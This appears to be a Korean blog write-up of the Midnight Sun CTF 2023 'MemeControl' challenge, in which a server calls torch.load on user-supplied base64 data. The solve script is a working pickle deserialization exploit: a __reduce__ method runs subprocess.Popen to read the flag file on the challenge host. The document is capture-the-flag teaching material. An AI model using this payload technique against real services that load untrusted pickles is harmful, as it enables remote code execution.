Hack/CTF
[Midnight Sun CTF 2023] MemeControl
CIDY
2023. 4. 9. 00:43
import io
import torch
import base64
banner = \
'''
8""8""8 8""""8
8 8 8 eeee eeeeeee eeee 8 " eeeee eeeee eeeee eeeee eeeee e
8e 8 8 8 8 8 8 8 8e 8 88 8 8 8 8 8 8 88 8
88 8 8 8eee 8e 8 8 8eee 88 8 8 8e 8 8e 8eee8e 8 8 8e
88 8 8 88 88 8 8 88 88 e 8 8 88 8 88 88 8 8 8 88
88 8 8 88ee 88 8 8 88ee 88eee8 8eee8 88 8 88 88 8 8eee8 88eee
'''
try:
print(banner)
base64_string = input("Send the base64 encoded model: ")
bytes_data = base64.b64decode(base64_string)
print("Evaluating the model ...")
device = torch.device("cpu")
model = torch.load(io.BytesIO(bytes_data), map_location=device)
model.eval()
print("Finished evaluating the model!")
except Exception as e:
print(f"Ooops, this model is no good: {e}".format(e))
파이썬 torch에서 피클 취약점으로 익스플로잇하는 문제이다. torch 안 써보긴 했는데 그냥 피클 취약점 검색하니까 바로 나와서 의외로 간단히 풀었다.
https://davidhamann.de/2020/04/05/exploiting-python-pickle/
Exploiting Python pickles
How unpickling untrusted data can lead to remote code execution.
davidhamann.de
피클은 __reduce__호출 시 return에 함수 이름과 인자를 적어두면 load하는 과정에서 그 함수가 실행된다는 취약점이 있다.
from pwn import *
import base64
import subprocess
import pickle
p = remote("memecontrol-1.play.hfsc.tf", 1337)
class Exploit(object):
def __reduce__(self):
return (subprocess.Popen, (('cat', 'flag'),))
print(base64.b64encode(pickle.dumps(Exploit())))
p.sendlineafter("Send the base64 encoded model: ", base64.b64encode(pickle.dumps(Exploit())))
p.interactive()
그래서 걍 이렇게 해 주면 된다. 입력을 base64디코딩해서 쓰기 때문에 입력할 때 인코딩해서 보내줬다.